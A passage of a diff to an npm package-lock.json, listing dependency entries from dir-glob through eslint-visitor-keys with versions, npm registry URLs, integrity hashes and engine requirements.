+ "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+ "dependencies": {
+ "path-type": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/dlv": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+ "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="
+ },
+ "node_modules/doctrine": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+ "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+ "dependencies": {
+ "esutils": "^2.0.2"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/dom-helpers": {
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz",
+ "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==",
+ "dependencies": {
+ "@babel/runtime": "^7.8.7",
+ "csstype": "^3.0.2"
+ }
+ },
+ "node_modules/dompurify": {
+ "version": "3.2.6",
+ "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.6.tgz",
+ "integrity": "sha512-/2GogDQlohXPZe6D6NOgQvXLPSYBqIWMnZ8zzOhn09REE4eyAzb+Hed3jhoM9OkuaJ8P6ZGTTVWQKAi8ieIzfQ==",
+ "license": "(MPL-2.0 OR Apache-2.0)",
+ "optionalDependencies": {
+ "@types/trusted-types": "^2.0.7"
+ }
+ },
+ "node_modules/drange": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/drange/-/drange-1.1.1.tgz",
+ "integrity": "sha512-pYxfDYpued//QpnLIm4Avk7rsNtAtQkUES2cwAYSvD/wd2pKD71gN2Ebj3e7klzXwjocvE8c5vx/1fxwpqmSxA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/dunder-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+ "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "gopd": "^1.2.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/eastasianwidth": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz",
+ "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="
+ },
+ "node_modules/electron-to-chromium": {
+ "version": "1.5.73",
+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.73.tgz",
+ "integrity": "sha512-8wGNxG9tAG5KhGd3eeA0o6ixhiNdgr0DcHWm85XPCphwZgD1lIEoi6t3VERayWao7SF7AAZTw6oARGJeVjH8Kg=="
+ },
+ "node_modules/embla-carousel": {
+ "version": "8.5.1",
+ "resolved": "https://registry.npmjs.org/embla-carousel/-/embla-carousel-8.5.1.tgz",
+ "integrity": "sha512-JUb5+FOHobSiWQ2EJNaueCNT/cQU9L6XWBbWmorWPQT9bkbk+fhsuLr8wWrzXKagO3oWszBO7MSx+GfaRk4E6A==",
+ "peer": true
+ },
+ "node_modules/embla-carousel-react": {
+ "version": "8.5.1",
+ "resolved": "https://registry.npmjs.org/embla-carousel-react/-/embla-carousel-react-8.5.1.tgz",
+ "integrity": "sha512-z9Y0K84BJvhChXgqn2CFYbfEi6AwEr+FFVVKm/MqbTQ2zIzO1VQri6w67LcfpVF0AjbhwVMywDZqY4alYkjW5w==",
+ "dependencies": {
+ "embla-carousel": "8.5.1",
+ "embla-carousel-reactive-utils": "8.5.1"
+ },
+ "peerDependencies": {
+ "react": "^16.8.0 || ^17.0.1 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"
+ }
+ },
+ "node_modules/embla-carousel-reactive-utils": {
+ "version": "8.5.1",
+ "resolved": "https://registry.npmjs.org/embla-carousel-reactive-utils/-/embla-carousel-reactive-utils-8.5.1.tgz",
+ "integrity": "sha512-n7VSoGIiiDIc4MfXF3ZRTO59KDp820QDuyBDGlt5/65+lumPHxX2JLz0EZ23hZ4eg4vZGUXwMkYv02fw2JVo/A==",
+ "peerDependencies": {
+ "embla-carousel": "8.5.1"
+ }
+ },
+ "node_modules/emoji-regex": {
+ "version": "9.2.2",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+ "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="
+ },
+ "node_modules/enhanced-resolve": {
+ "version": "5.17.1",
+ "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz",
+ "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==",
+ "dependencies": {
+ "graceful-fs": "^4.2.4",
+ "tapable": "^2.2.0"
+ },
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/entities": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
+ "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
+ "engines": {
+ "node": ">=0.12"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/entities?sponsor=1"
+ }
+ },
+ "node_modules/es-abstract": {
+ "version": "1.23.5",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.23.5.tgz",
+ "integrity": "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ==",
+ "dependencies": {
+ "array-buffer-byte-length": "^1.0.1",
+ "arraybuffer.prototype.slice": "^1.0.3",
+ "available-typed-arrays": "^1.0.7",
+ "call-bind": "^1.0.7",
+ "data-view-buffer": "^1.0.1",
+ "data-view-byte-length": "^1.0.1",
+ "data-view-byte-offset": "^1.0.0",
+ "es-define-property": "^1.0.0",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.0.0",
+ "es-set-tostringtag": "^2.0.3",
+ "es-to-primitive": "^1.2.1",
+ "function.prototype.name": "^1.1.6",
+ "get-intrinsic": "^1.2.4",
+ "get-symbol-description": "^1.0.2",
+ "globalthis": "^1.0.4",
+ "gopd": "^1.0.1",
+ "has-property-descriptors": "^1.0.2",
+ "has-proto": "^1.0.3",
+ "has-symbols": "^1.0.3",
+ "hasown": "^2.0.2",
+ "internal-slot": "^1.0.7",
+ "is-array-buffer": "^3.0.4",
+ "is-callable": "^1.2.7",
+ "is-data-view": "^1.0.1",
+ "is-negative-zero": "^2.0.3",
+ "is-regex": "^1.1.4",
+ "is-shared-array-buffer": "^1.0.3",
+ "is-string": "^1.0.7",
+ "is-typed-array": "^1.1.13",
+ "is-weakref": "^1.0.2",
+ "object-inspect": "^1.13.3",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.5",
+ "regexp.prototype.flags": "^1.5.3",
+ "safe-array-concat": "^1.1.2",
+ "safe-regex-test": "^1.0.3",
+ "string.prototype.trim": "^1.2.9",
+ "string.prototype.trimend": "^1.0.8",
+ "string.prototype.trimstart": "^1.0.8",
+ "typed-array-buffer": "^1.0.2",
+ "typed-array-byte-length": "^1.0.1",
+ "typed-array-byte-offset": "^1.0.2",
+ "typed-array-length": "^1.0.6",
+ "unbox-primitive": "^1.0.2",
+ "which-typed-array": "^1.1.15"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/es-define-property": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+ "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-errors": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+ "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-iterator-helpers": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.0.tgz",
+ "integrity": "sha512-tpxqxncxnpw3c93u8n3VOzACmRFoVmWJqbWXvX/JfKbkhBw1oslgPrUfeSt2psuqyEJFD6N/9lg5i7bsKpoq+Q==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.23.3",
+ "es-errors": "^1.3.0",
+ "es-set-tostringtag": "^2.0.3",
+ "function-bind": "^1.1.2",
+ "get-intrinsic": "^1.2.4",
+ "globalthis": "^1.0.4",
+ "gopd": "^1.0.1",
+ "has-property-descriptors": "^1.0.2",
+ "has-proto": "^1.0.3",
+ "has-symbols": "^1.0.3",
+ "internal-slot": "^1.0.7",
+ "iterator.prototype": "^1.1.3",
+ "safe-array-concat": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-object-atoms": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
+ "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-set-tostringtag": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
+ "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.6",
+ "has-tostringtag": "^1.0.2",
+ "hasown": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-shim-unscopables": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz",
+ "integrity": "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==",
+ "dependencies": {
+ "hasown": "^2.0.0"
+ }
+ },
+ "node_modules/es-to-primitive": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz",
+ "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==",
+ "dependencies": {
+ "is-callable": "^1.2.7",
+ "is-date-object": "^1.0.5",
+ "is-symbol": "^1.0.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/esast-util-from-estree": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/esast-util-from-estree/-/esast-util-from-estree-2.0.0.tgz",
+ "integrity": "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-visit": "^2.0.0",
+ "unist-util-position-from-estree": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/esast-util-from-js": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/esast-util-from-js/-/esast-util-from-js-2.0.1.tgz",
+ "integrity": "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "acorn": "^8.0.0",
+ "esast-util-from-estree": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/escalade": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+ "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/escape-string-regexp": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+ "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/eslint": {
+ "version": "8.49.0",
+ "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.49.0.tgz",
+ "integrity": "sha512-jw03ENfm6VJI0jA9U+8H5zfl5b+FvuU3YYvZRdZHOlU2ggJkxrlkJH4HcDrZpj6YwD8kuYqvQM8LyesoazrSOQ==",
+ "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.",
+ "peer": true,
+ "dependencies": {
+ "@eslint-community/eslint-utils": "^4.2.0",
+ "@eslint-community/regexpp": "^4.6.1",
+ "@eslint/eslintrc": "^2.1.2",
+ "@eslint/js": "8.49.0",
+ "@humanwhocodes/config-array": "^0.11.11",
+ "@humanwhocodes/module-importer": "^1.0.1",
+ "@nodelib/fs.walk": "^1.2.8",
+ "ajv": "^6.12.4",
+ "chalk": "^4.0.0",
+ "cross-spawn": "^7.0.2",
+ "debug": "^4.3.2",
+ "doctrine": "^3.0.0",
+ "escape-string-regexp": "^4.0.0",
+ "eslint-scope": "^7.2.2",
+ "eslint-visitor-keys": "^3.4.3",
+ "espree": "^9.6.1",
+ "esquery": "^1.4.2",
+ "esutils": "^2.0.2",
+ "fast-deep-equal": "^3.1.3",
+ "file-entry-cache": "^6.0.1",
+ "find-up": "^5.0.0",
+ "glob-parent": "^6.0.2",
+ "globals": "^13.19.0",
+ "graphemer": "^1.4.0",
+ "ignore": "^5.2.0",
+ "imurmurhash": "^0.1.4",
+ "is-glob": "^4.0.0",
+ "is-path-inside": "^3.0.3",
+ "js-yaml": "^4.1.0",
+ "json-stable-stringify-without-jsonify": "^1.0.1",
+ "levn": "^0.4.1",
+ "lodash.merge": "^4.6.2",
+ "minimatch": "^3.1.2",
+ "natural-compare": "^1.4.0",
+ "optionator": "^0.9.3",
+ "strip-ansi": "^6.0.1",
+ "text-table": "^0.2.0"
+ },
+ "bin": {
+ "eslint": "bin/eslint.js"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/eslint-config-next": {
+ "version": "13.5.1",
+ "resolved": "https://registry.npmjs.org/eslint-config-next/-/eslint-config-next-13.5.1.tgz",
+ "integrity": "sha512-+8xIIWtD+iFwHfXgmXRGn05BuNIu/RAGcz6kI4wsJTPrE/1WtWKv2o0l+GbQ6wRaC+cbBV8+QnFAOf18aJiWrg==",
+ "dependencies": {
+ "@next/eslint-plugin-next": "13.5.1",
+ "@rushstack/eslint-patch": "^1.3.3",
+ "@typescript-eslint/parser": "^5.4.2 || ^6.0.0",
+ "eslint-import-resolver-node": "^0.3.6",
+ "eslint-import-resolver-typescript": "^3.5.2",
+ "eslint-plugin-import": "^2.28.1",
+ "eslint-plugin-jsx-a11y": "^6.7.1",
+ "eslint-plugin-react": "^7.33.2",
+ "eslint-plugin-react-hooks": "^4.5.0 || 5.0.0-canary-7118f5dd7-20230705"
+ },
+ "peerDependencies": {
+ "eslint": "^7.23.0 || ^8.0.0",
+ "typescript": ">=3.3.1"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/eslint-config-next/node_modules/eslint-import-resolver-typescript": {
+ "version": "3.7.0",
+ "resolved": "https://registry.npmjs.org/eslint-import-resolver-typescript/-/eslint-import-resolver-typescript-3.7.0.tgz",
+ "integrity": "sha512-Vrwyi8HHxY97K5ebydMtffsWAn1SCR9eol49eCd5fJS4O1WV7PaAjbcjmbfJJSMz/t4Mal212Uz/fQZrOB8mow==",
+ "dependencies": {
+ "@nolyfill/is-core-module": "1.0.39",
+ "debug": "^4.3.7",
+ "enhanced-resolve": "^5.15.0",
+ "fast-glob": "^3.3.2",
+ "get-tsconfig": "^4.7.5",
+ "is-bun-module": "^1.0.2",
+ "is-glob": "^4.0.3",
+ "stable-hash": "^0.0.4"
+ },
+ "engines": {
+ "node": "^14.18.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/unts/projects/eslint-import-resolver-ts"
+ },
+ "peerDependencies": {
+ "eslint": "*",
+ "eslint-plugin-import": "*",
+ "eslint-plugin-import-x": "*"
+ },
+ "peerDependenciesMeta": {
+ "eslint-plugin-import": {
+ "optional": true
+ },
+ "eslint-plugin-import-x": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/eslint-config-prettier": {
+ "version": "10.0.1",
+ "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.0.1.tgz",
+ "integrity": "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw==",
+ "dev": true,
+ "bin": {
+ "eslint-config-prettier": "build/bin/cli.js"
+ },
+ "peerDependencies": {
+ "eslint": ">=7.0.0"
+ }
+ },
+ "node_modules/eslint-import-resolver-node": {
+ "version": "0.3.9",
+ "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz",
+ "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==",
+ "dependencies": {
+ "debug": "^3.2.7",
+ "is-core-module": "^2.13.0",
+ "resolve": "^1.22.4"
+ }
+ },
+ "node_modules/eslint-import-resolver-node/node_modules/debug": {
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+ "dependencies": {
+ "ms": "^2.1.1"
+ }
+ },
+ "node_modules/eslint-module-utils": {
+ "version": "2.12.0",
+ "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.0.tgz",
+ "integrity": "sha512-wALZ0HFoytlyh/1+4wuZ9FJCD/leWHQzzrxJ8+rebyReSLk7LApMyd3WJaLVoN+D5+WIdJyDK1c6JnE65V4Zyg==",
+ "dependencies": {
+ "debug": "^3.2.7"
+ },
+ "engines": {
+ "node": ">=4"
+ },
+ "peerDependenciesMeta": {
+ "eslint": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/eslint-module-utils/node_modules/debug": {
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+ "dependencies": {
+ "ms": "^2.1.1"
+ }
+ },
+ "node_modules/eslint-plugin-import": {
+ "version": "2.31.0",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.31.0.tgz",
+ "integrity": "sha512-ixmkI62Rbc2/w8Vfxyh1jQRTdRTF52VxwRVHl/ykPAmqG+Nb7/kNn+byLP0LxPgI7zWA16Jt82SybJInmMia3A==",
+ "peer": true,
+ "dependencies": {
+ "@rtsao/scc": "^1.1.0",
+ "array-includes": "^3.1.8",
+ "array.prototype.findlastindex": "^1.2.5",
+ "array.prototype.flat": "^1.3.2",
+ "array.prototype.flatmap": "^1.3.2",
+ "debug": "^3.2.7",
+ "doctrine": "^2.1.0",
+ "eslint-import-resolver-node": "^0.3.9",
+ "eslint-module-utils": "^2.12.0",
+ "hasown": "^2.0.2",
+ "is-core-module": "^2.15.1",
+ "is-glob": "^4.0.3",
+ "minimatch": "^3.1.2",
+ "object.fromentries": "^2.0.8",
+ "object.groupby": "^1.0.3",
+ "object.values": "^1.2.0",
+ "semver": "^6.3.1",
+ "string.prototype.trimend": "^1.0.8",
+ "tsconfig-paths": "^3.15.0"
+ },
+ "engines": {
+ "node": ">=4"
+ },
+ "peerDependencies": {
+ "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9"
+ }
+ },
+ "node_modules/eslint-plugin-import/node_modules/debug": {
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+ "dependencies": {
+ "ms": "^2.1.1"
+ }
+ },
+ "node_modules/eslint-plugin-import/node_modules/doctrine": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
+ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+ "dependencies": {
+ "esutils": "^2.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/eslint-plugin-import/node_modules/semver": {
+ "version": "6.3.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+ "bin": {
+ "semver": "bin/semver.js"
+ }
+ },
+ "node_modules/eslint-plugin-jsx-a11y": {
+ "version": "6.10.2",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz",
+ "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==",
+ "dependencies": {
+ "aria-query": "^5.3.2",
+ "array-includes": "^3.1.8",
+ "array.prototype.flatmap": "^1.3.2",
+ "ast-types-flow": "^0.0.8",
+ "axe-core": "^4.10.0",
+ "axobject-query": "^4.1.0",
+ "damerau-levenshtein": "^1.0.8",
+ "emoji-regex": "^9.2.2",
+ "hasown": "^2.0.2",
+ "jsx-ast-utils": "^3.3.5",
+ "language-tags": "^1.0.9",
+ "minimatch": "^3.1.2",
+ "object.fromentries": "^2.0.8",
+ "safe-regex-test": "^1.0.3",
+ "string.prototype.includes": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=4.0"
+ },
+ "peerDependencies": {
+ "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9"
+ }
+ },
+ "node_modules/eslint-plugin-react": {
+ "version": "7.37.2",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.2.tgz",
+ "integrity": "sha512-EsTAnj9fLVr/GZleBLFbj/sSuXeWmp1eXIN60ceYnZveqEaUCyW4X+Vh4WTdUhCkW4xutXYqTXCUSyqD4rB75w==",
+ "dependencies": {
+ "array-includes": "^3.1.8",
+ "array.prototype.findlast": "^1.2.5",
+ "array.prototype.flatmap": "^1.3.2",
+ "array.prototype.tosorted": "^1.1.4",
+ "doctrine": "^2.1.0",
+ "es-iterator-helpers": "^1.1.0",
+ "estraverse": "^5.3.0",
+ "hasown": "^2.0.2",
+ "jsx-ast-utils": "^2.4.1 || ^3.0.0",
+ "minimatch": "^3.1.2",
+ "object.entries": "^1.1.8",
+ "object.fromentries": "^2.0.8",
+ "object.values": "^1.2.0",
+ "prop-types": "^15.8.1",
+ "resolve": "^2.0.0-next.5",
+ "semver": "^6.3.1",
+ "string.prototype.matchall": "^4.0.11",
+ "string.prototype.repeat": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=4"
+ },
+ "peerDependencies": {
+ "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7"
+ }
+ },
+ "node_modules/eslint-plugin-react-hooks": {
+ "version": "4.6.2",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.2.tgz",
+ "integrity": "sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==",
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0"
+ }
+ },
+ "node_modules/eslint-plugin-react/node_modules/doctrine": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
+ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+ "dependencies": {
+ "esutils": "^2.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/eslint-plugin-react/node_modules/resolve": {
+ "version": "2.0.0-next.5",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz",
+ "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==",
+ "dependencies": {
+ "is-core-module": "^2.13.0",
+ "path-parse": "^1.0.7",
+ "supports-preserve-symlinks-flag": "^1.0.0"
+ },
+ "bin": {
+ "resolve": "bin/resolve"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/eslint-plugin-react/node_modules/semver": {
+ "version": "6.3.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+ "bin": {
+ "semver": "bin/semver.js"
+ }
+ },
+ "node_modules/eslint-scope": {
+ "version": "7.2.2",
+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz",
+ "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==",
+ "dependencies": {
+ "esrecurse": "^4.3.0",
+ "estraverse": "^5.2.0"
+ },
+ "engines": {
+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/eslint"
+ }
+ },
+ "node_modules/eslint-visitor-keys": {
+ "version": "3.4.3",
+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",
